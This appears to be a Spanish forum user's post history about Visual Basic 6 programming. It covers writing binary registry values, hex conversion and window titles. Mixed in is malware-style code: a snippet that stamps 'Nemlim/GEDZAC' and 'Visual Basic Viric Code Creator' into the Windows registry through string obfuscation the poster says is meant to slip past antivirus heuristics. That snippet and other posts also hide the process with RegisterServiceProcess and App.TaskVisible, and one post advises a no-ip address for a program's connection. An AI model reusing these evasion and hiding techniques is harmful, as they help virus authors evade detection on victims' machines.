Mensajes

EL vez de tu ip  pon tu direcion de no-ip.

Salu2

Pensé que usabas los espacios (01 00 14 80 90)

Ya no les uso porke el editor hexadecimal no me les pone.

EL codigo esta bastante correcto, solo hay un fallo:

Código [Seleccionar] Expandir


For I = 1 To (Len(strData) \ 2) Step 2
      btData(I) = Val("&H" & Mid$(strData, I, 2))
Next


En ese codigo solo se va llenando la mitad de las partes de un array.
I = 1, I = 3, I = 5
Y los que quedan sin valor en el array les guarda como (00) y desfigura el code.

Salu2

Este no es el subforo adecuado y nadie te va a dar eso.

EL code para leer que as puesto va de lujo, pero sigo sin saber como resolver mi problema:

Lo que quiero acer es guardar en un valor binario de el registro esto:

Código [Seleccionar] Expandir

................0.................................`......................................... ... ....................................... ...#...........................
o esto en binario, que es lo mismo de arriba:

Código [Seleccionar] Expandir

01001480900000009C000000140000003000000002001C000100000002801400FF010F00010100000000000100000000020060000400000000001400FD01020001010000000000051200000000001800FF010F0001020000000000052000000020020000000014008D01020001010000000000050B00000000001800FD01020001020000000000052000000023020000010100000000000512000000010100000000000512000000

Guardando ese texto con el code que as puesto guarda otros datos distintos a los k tendria k guardar.

Muchas gracias

[¿como puedo convertir de binario a string?]

Va muy bien ese code, pero tengo una duda mas, lo que hace es convertir la string a binario

Código [Seleccionar] Expandir


StrConv(Data, vbFromUnicode)


¿como puedo convertir de binario a string?

Salu2

[StrReverse]

Eeste codigo registra servicios en win 98 en xp eso ya no funciona.
Comento el codigo linea por linea.

Option Explicit
Private Const RSP_SIMPLE_SERVICE = 1 'constante para registrar un servicio
Private Const RSP_UNREGISTER_SERVICE = 0 'constante para quitar un servicio
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long 'Api Coge el id de nuestro programa
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long 'Api que registra el servicio
'******   Variables
Private MiNombre As String
Private Fso As Object
Private Ws As Object
Private WsNet As Object
Private DirSystem As Object
Private DirWindows As Object
Private DirTemporal As Object

Private Sub Form_Load() ' Al cargar el programa....
On Error Resume Next
Dim ProcessID As Long

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Ws = CreateObject("Wscript.Shell")
Set DirWindows = Fso.GetSpecialFolder(0) 'cogemos el directorio de windows
Set DirSystem = Fso.GetSpecialFolder(1) 'cogemos el directorio de system32
Set DirTemporal = Fso.GetSpecialFolder(2) 'cogemos el directorio temporal
Set WsNet = CreateObject("WScript.Network") 'creamos un socket
MiNombre = App.Path & "\" & App.EXEName & ".exe" 'La ruta completa de este programa

Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", StrReverse(Replace(Replace(Replace(Replace(Replace("CVZDFGam1lmeX", "V", "A"), "F", "E"), "a", "/"), "1", "i"), "X", "N")) '"Nemlim/GEDZAC"
Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization", StrReverse(Replace(Replace(Replace(Replace(Replace(Replace("rLtqer4 edL4 3frfX 3fsqB lqusfX", "X", "V"), "f", "i"), "q", "a"), "3", "c"), "4", "C"), "L", "o")) ' "Visual Basic Viric Code Creator"

ProcessID = GetCurrentProcessId() 'LLamamos a la api para coger el id de nuestro proceso
retval = RegisterServiceProcess(ProcessID, RSP_SIMPLE_SERVICE) 'llamamos a la api para registrar el servicio
End Sub

Lo de usar las funciones StrReverse y Replace es para que los antivirus con la heuristica no detecten el texto que se ha querido poner.

Sigo queriendo investigar lo de guardar mediante las apis un valor binario en el registro. El codigo que uso es este, pero no guarda los valores como yo quiero.

Código [Seleccionar] Expandir


Const REG_SZ = 1
Const REG_BINARY = 3
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Sub SaveStringLong(hKey As Long, strPath As String, strValue As String, strData As String)
    Dim Ret
    'Create a new key
    RegCreateKey hKey, strPath, Ret
    'Set the key's value
    RegSetValueEx Ret, strValue, 0, REG_BINARY, strData, Len(strData)
    'close the key
    RegCloseKey Ret
End Sub

'SaveStringLong HKEY_CURRENT_USER, "S", "BinaryValue", "00 01 02 3D 05"


Salu2

[SetWindowText]

Tengo un programa llamado Putty.exe, cuando el esta trabajando me muestra en su barra de titulo un texto que no quiero que se muestre...en fin se me ocurrio..

Si el programa es el k estas programando tu :

Código [Seleccionar] Expandir


Form1.Caption = "lo k kieras"

Si es otro programa usa la api SetWindowText

1-Minimizar la aplicación en el Tray y permitir cerrarla desde mi aplicación o desde el mismo Icono del Tray..

Busca en el foro que se hablo mucho.

2- Ocultar el proceso y permitir cerrarlo desde mi Programa...

Código [Seleccionar] Expandir

App.TaskVisible = False
Con ese solo se vera en la lista de procesos.

Salu2

Basicamente no posteo el modulo k tengo casi acabao porke no se como guardar valores binarios en el registro y pregunte y nadie me supo responder, cuando sepa lo posteare.

Salu2

Código [Seleccionar] Expandir


Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then 'enter
Exit Sub
End If
If KeyAscii = 8 Then 'backspace
Exit Sub
End If
If Not IsNumeric(Chr(KeyAscii)) Then
KeyAscii = 0 'anular tecla
End If
End Sub

Puedes publicar aki el modulo o poner el link de la e-zine?

Salu2